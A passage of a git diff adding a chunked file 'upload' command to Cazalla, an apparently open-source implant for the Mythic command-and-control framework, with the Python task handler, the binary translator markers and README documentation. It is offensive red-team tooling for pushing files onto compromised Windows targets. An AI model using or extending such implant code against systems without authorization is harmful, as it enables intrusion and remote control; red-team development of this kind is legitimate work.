+            # Replace all sequences of double backslashes with single backslash
+            while "\\\\" in path:
+                path = path.replace("\\\\", "\\")
+        self.add_arg("path", path)
+
+    async def parse_dictionary(self, dictionary_arguments):
+        if "file" in dictionary_arguments:
+            self.add_arg("file", dictionary_arguments["file"])
+        if "path" in dictionary_arguments:
+            # Normalize path: replace double backslashes with single backslash
+            path = dictionary_arguments["path"]
+            if path:
+                # Replace all sequences of double backslashes with single backslash
+                while "\\\\" in path:
+                    path = path.replace("\\\\", "\\")
+            self.add_arg("path", path)
+
+
+class UploadCommand(CommandBase):
+    cmd = "upload"
+    needs_admin = False
+    help_cmd = "upload <file> <path>"
+    description = "Upload a file from the Mythic server to the target"
+    version = 1
+    author = "@KaseyaOFSTeam"
+    argument_class = UploadArguments
+
+    async def create_go_tasking(self, taskData: PTTaskMessageAllData) -> PTTaskCreateTaskingMessageResponse:
+        response = PTTaskCreateTaskingMessageResponse(
+            TaskID=taskData.Task.ID,
+            Success=True,
+        )
+        
+        file_id = taskData.args.get_arg("file")
+        path = taskData.args.get_arg("path")
+        
+        # Get file information to extract filename
+        try:
+            file_search = await SendMythicRPCFileSearch(MythicRPCFileSearchMessage(
+                AgentFileId=file_id,
+                LimitByCallback=False,
+                TaskID=taskData.Task.ID
+            ))
+            
+            if file_search.Success and len(file_search.Files) > 0:
+                file_info = file_search.Files[0]
+                filename = file_info.Filename
+                
+                # If path is empty, use current directory + filename
+                if not path or path.strip() == "":
+                    path = ".\\" + filename
+                # If path ends with backslash or forward slash, append filename
+                elif path.endswith("\\") or path.endswith("/"):
+                    path = path.rstrip("\\/") + "\\" + filename
+                
+                response.DisplayParams = f"file_id: {file_id}, path: {path}, filename: {filename}"
+                # Update the path argument with the final path (including filename if needed)
+                taskData.args.add_arg("path", path)
+            else:
+                response.DisplayParams = f"file_id: {file_id}, path: {path}"
+        except Exception as e:
+            response.DisplayParams = f"file_id: {file_id}, path: {path} (warning: could not get filename: {str(e)})"
+        
+        return response
+
+    async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse:
+        resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True)
+        return resp
diff --git a/Payload_Type/cazalla/translator/commands_from_c2.py b/Payload_Type/cazalla/translator/commands_from_c2.py
index 0a09e5b..4f92851 100644
--- a/Payload_Type/cazalla/translator/commands_from_c2.py
+++ b/Payload_Type/cazalla/translator/commands_from_c2.py
@@ -16,6 +16,7 @@ commands = {
     "rm": {"hex_code": 0x25, "input_type": "string"},
     "cat": {"hex_code": 0x26, "input_type": "string"},
     "download": {"hex_code": 0x27, "input_type": "string"},
+    "upload": {"hex_code": 0x28, "input_type": "string"},
     # Added SOCKS control commands
     "start_socks": {"hex_code": 0x60, "input_type": "int"},
     "stop_socks": {"hex_code": 0x61, "input_type": None},
@@ -53,6 +54,14 @@ def responseTasking(tasks):
             data = command_code + task_id
             if task["parameters"] != "":
                 parameters = json.loads(task["parameters"])
+                # Normalize paths for upload command - replace double backslashes
+                if command_to_run == "upload" and "path" in parameters:
+                    path = parameters["path"]
+                    if path:
+                        # Replace all sequences of double backslashes with single backslash
+                        while "\\\\" in path:
+                            path = path.replace("\\\\", "\\")
+                        parameters["path"] = path
                 data += len(parameters).to_bytes(4,"big")
                 for param in parameters:
                     data += len(parameters[param]).to_bytes(4, "big")
@@ -133,5 +142,20 @@ def responsePosting(responses):
             data += len(file_id_bytes).to_bytes(4, "big")
             data += file_id_bytes
             print(f"[DOWNLOAD] File ID agregado a respuesta binaria: {file_id}")
+        
+        # Check if this response is for an upload request
+        # When Mythic responds to an upload request, it includes upload data directly in response
+        # Format from Mythic: {"chunk_data": "...", "chunk_num": 1, "total_chunks": 1, "file_id": "...", ...}
+        if "chunk_data" in response and "chunk_num" in response:
+            # Format: [0xF9 marker][total_chunks:4][chunk_num:4][chunk_data_len:4][chunk_data_base64]
+            data += bytes([0xF9])  # Upload response marker
+            data += response.get("total_chunks", 0).to_bytes(4, "big")
+            data += response.get("chunk_num", 0).to_bytes(4, "big")
+            
+            chunk_data_b64 = response.get("chunk_data", "")
+            chunk_data_bytes = chunk_data_b64.encode('utf-8')
+            data += len(chunk_data_bytes).to_bytes(4, "big")
+            data += chunk_data_bytes
+            print(f"[UPLOAD] Upload response agregado: total_chunks={response.get('total_chunks', 0)}, chunk_num={response.get('chunk_num', 0)}, data_len={len(chunk_data_bytes)}")
     
     return data
diff --git a/Payload_Type/cazalla/translator/commands_from_implant.py b/Payload_Type/cazalla/translator/commands_from_implant.py
index 3524999..7c2d93e 100644
--- a/Payload_Type/cazalla/translator/commands_from_implant.py
+++ b/Payload_Type/cazalla/translator/commands_from_implant.py
@@ -189,6 +189,7 @@ def postResponse(data):
     credentials_data = []
     download_registration = None
     download_chunk = None
+    upload_request = None
     remaining_data = data
     
     while len(remaining_data) >= 5:  # At least: marker (1) + type_len (4)
@@ -419,6 +420,64 @@ def postResponse(data):
                 remaining_data = remaining_data[offset:]
             except:
                 break
+        elif remaining_data[0] == 0xF8:
+            # Upload request marker found
+            # Format: [0xF8][file_id_len:4][file_id][chunk_size:4][chunk_num:4][full_path_len:4][full_path]
+            offset = 1
+            
+            # Extract file_id
+            if len(remaining_data) < offset + 4:
+                break
+            file_id_len = int.from_bytes(remaining_data[offset:offset+4], 'big')
+            offset += 4
+            
+            if file_id_len == 0 or len(remaining_data) < offset + file_id_len:
+                break
+            
+            try:
+                file_id = remaining_data[offset:offset+file_id_len].decode('cp850')
+                offset += file_id_len
+            except:
+                break
+            
+            # Extract chunk_size
+            if len(remaining_data) < offset + 4:
+                break
+            chunk_size = int.from_bytes(remaining_data[offset:offset+4], 'big')
+            offset += 4
+            
+            # Extract chunk_num
+            if len(remaining_data) < offset + 4:
+                break
+            chunk_num = int.from_bytes(remaining_data[offset:offset+4], 'big')
+            offset += 4
+            
+            # Extract full_path
+            if len(remaining_data) < offset + 4:
+                break
+            path_len = int.from_bytes(remaining_data[offset:offset+4], 'big')
+            offset += 4
+            
+            full_path = ""
+            if path_len > 0:
+                if len(remaining_data) < offset + path_len:
+                    break
+                try:
+                    full_path = remaining_data[offset:offset+path_len].decode('cp850')
+                    offset += path_len
+                except:
+                    break
+            
+            # Store upload request info (will be used to construct Mythic JSON)
+            upload_request = {
+                "file_id": file_id,
+                "chunk_size": chunk_size,
+                "chunk_num": chunk_num,
+                "full_path": full_path
+            }
+            print(f"[UPLOAD] Request detectado: file_id={file_id}, chunk_num={chunk_num}, chunk_size={chunk_size}, path={full_path}")
+            
+            remaining_data = remaining_data[offset:]
         else:
             # No more markers
             break
@@ -528,6 +587,21 @@ def postResponse(data):
             "chunk_data": download_chunk["chunk_data"]
         }
         print(f"[DOWNLOAD] Download chunk agregado al JSON: chunk_num={download_chunk['chunk_num']}, file_id={download_chunk['file_id']}, data_len={len(download_chunk['chunk_data'])}")
+    
+    # Add upload request information if present
+    if upload_request:
+        # For upload requests, we ONLY send the upload info, no user_output
+        # Remove user_output if it was added
+        if "user_output" in jsonTask:
+            jsonTask.pop("user_output", None)
+        
+        jsonTask["upload"] = {
+            "file_id": upload_request["file_id"],
+            "chunk_size": upload_request["chunk_size"],
+            "chunk_num": upload_request["chunk_num"],
+            "full_path": upload_request["full_path"]
+        }
+        print(f"[UPLOAD] Upload request agregado al JSON: file_id={upload_request['file_id']}, chunk_num={upload_request['chunk_num']}, chunk_size={upload_request['chunk_size']}")
 
     resTaks.append(jsonTask)
 
diff --git a/README.md b/README.md
index 334c4af..98dd901 100644
--- a/README.md
+++ b/README.md
@@ -26,6 +26,7 @@
 - [Artifacts Support](#artifacts-support)
 - [Credentials Support](#credentials-support)
 - [File Downloads Support](#file-downloads-support)
+- [File Uploads Support](#file-uploads-support)
 - [Development](#development)
 - [Troubleshooting](#troubleshooting)
 - [Credits](#credits)
@@ -183,6 +184,7 @@ For more information, see the [Mythic documentation on customizing public agents
 | `rm` | Delete file or directory | `rm C:\temp\file.txt` |
 | `cat` | Read file contents (with automatic credential detection) | `cat C:\path\to\file.txt` |
 | `download` | Download file from target to Mythic server | `download C:\path\to\file.txt` |
+| `upload` | Upload file from Mythic server to target | `upload <file> C:\path\to\destination.txt` |
 
 ### Execution & Control
 
@@ -561,6 +563,7 @@ Currently supported:
 - **File Write**: Automatically reported for:
   - `cp` (copy) - reports destination file path
   - `mkdir` (create directory) - reports created directory path
+  - `upload` - reports destination file path when uploading files
 - **File Delete**: Automatically reported for:
   - `rm` (delete) - reports deleted file/directory path
 - **File Read**: Automatically reported for:
@@ -573,7 +576,6 @@ Currently supported:
 - `cat` - read-only file operation (doesn't create artifacts, but may report credentials)
 
 Future support can be added for:
-- **File Write**: For file upload operations (e.g., `upload` command)
 - **Network Connection**: When network operations occur (e.g., for `socks` proxy connections)
 - **Registry Modification**: When registry keys are modified (e.g., `reg_set`, `reg_delete`)
 - **Process Inject**: When processes are injected into (e.g., `inject` command)
@@ -610,6 +612,7 @@ Example implementations:
 - `shell`: Process Create artifact with command
 - `cp`: File Write artifact with destination path
 - `mkdir`: File Write artifact with directory path
+- `upload`: File Write artifact with destination file path
 - `rm`: File Delete artifact with deleted path
 - `download`: File Read artifact with downloaded file path
 
@@ -882,6 +885,112 @@ For more information, see the [Mythic File Downloads documentation](https://docs
 
 ---
 
+## 📤 File Uploads Support
+
+Cazalla supports uploading files from the Mythic server to the target using chunked transfers, following [Mythic's File Upload specification](https://docs.mythic-c2.net/customizing/hooking-features/action-upload).
+
+### Features
+
+- **Chunked File Transfers**: Large files are automatically split into chunks (512KB default) for efficient transfer
+- **Automatic Path Normalization**: Automatically handles path formatting (normalizes double backslashes)
+- **Smart Path Handling**: Automatically appends filename when path is a directory
+- **Progress Tracking**: Mythic tracks upload progress (chunks sent/total chunks)
+- **File Write Artifacts**: Automatically reports File Write artifacts when files are uploaded
+
+### How It Works
+
+1. **Command Execution**: When you execute `upload <file> C:\path\to\destination.txt`, the agent:
+   - Receives the `file_id` and destination path from Mythic
+   - Normalizes the destination path (handles double backslashes, directories, etc.)
+   - Creates the destination file
+   - Requests file chunks from Mythic sequentially
+   - Receives base64-encoded chunk data from Mythic
+   - Decodes and writes chunks to the destination file
+   - Reports a File Write artifact when complete
+
+2. **Mythic Integration**: The upload is automatically:
+   - Tracked with progress in Mythic's UI
+   - Registered as a File Write artifact
+   - Visible in Mythic's Artifacts page
+
+### Using the Upload Command
+
+```bash
+# Upload a file to the target
+# Select file from Mythic UI file selector, then specify destination path
+upload <file> C:\Users\localuser\Downloads\file.txt
+
+# Uploads are chunked automatically - Mythic will show progress
+```
+
+### Upload Process
+
+1. **Request**: Agent sends upload request to Mythic for each chunk:
+   - `file_id`: Unique identifier for the file to upload
+   - `chunk_num`: Automatically incremented (1, 2, 3, ...)
+   - `chunk_size`: Size requested per chunk (512KB default)
+   - `full_path`: Destination path on the target
+
+2. **Response**: Mythic responds with chunk data:
+   - `total_chunks`: Total number of chunks for the file
+   - `chunk_num`: Current chunk number
+   - `chunk_data`: Base64-encoded chunk data
+
+3. **Writing**: Agent decodes and writes each chunk sequentially
+
+4. **Completion**: Once all chunks are received and written, the file is complete
+
+### Example Upload Flow
+
+```
+Mythic: Task created with file_id and path
+Agent: [upload] Iniciando upload: C:\Users\file.txt (2 chunks)
+Agent: [upload] Solicitando chunk  requesting chunk 1
+Mythic: Response with chunk 1/2 (512KB base64 data)
+Agent: [upload] Chunk 1/2 escrito: 512000 bytes
+Agent: [upload] Solicitando chunk  requesting chunk 2
+Mythic: Response with chunk 2/2 (512KB base64 data)
+Agent: [upload] Chunk 2/2 escrito: 512000 bytes
+Agent: [upload] Upload completado: C:\Users\file.txt (1024000 bytes)
+Mythic: File Write artifact created
+```
+
+### Path Handling
+
+The upload command includes smart path handling:
+
+- **Normalization**: Automatically normalizes double backslashes (`C:\\\\Users` → `C:\Users`)
+- **Directory Detection**: If the path is a directory, automatically appends the filename from Mythic
+- **Full Path Resolution**: Uses `GetFullPathName` to resolve relative paths to absolute paths
+- **Error Handling**: Clear error messages for invalid paths, access denied, or directory issues
+
+### Implementation Details
+
+The upload system uses:
+- **Chunk Size**: 512KB per chunk (configurable in code)
+- **Base64 Decoding**: Chunk data is automatically decoded from base64 before writing
+- **Sequential Requests**: Agent requests chunks one at a time (1, 2, 3, ...)
+- **Artifact Reporting**: Automatically reports "File Write" artifact with file path
+
+### Error Handling
+
+The upload command handles various error scenarios:
+- **Invalid Path**: Returns error if path is invalid or malformed
+- **Directory as Path**: Detects and reports error if path is a directory without filename
+- **Access Denied**: Returns Windows error code if file cannot be created/written
+- **Path Not Found**: Returns error if parent directory does not exist
+
+### Viewing Upload Artifacts
+
+1. Navigate to your callback in the Mythic UI
+2. Click the **Artifacts** icon (fingerprint) in the top navigation
+3. Filter by "File Write" artifact type
+4. View all files that were uploaded, including file paths and timestamps
+
+For more information, see the [Mythic File Upload documentation](https://docs.mythic-c2.net/customizing/hooking-features/action-upload).
+
+---
+
 ## 🔧 Development
 
 ### Project Structure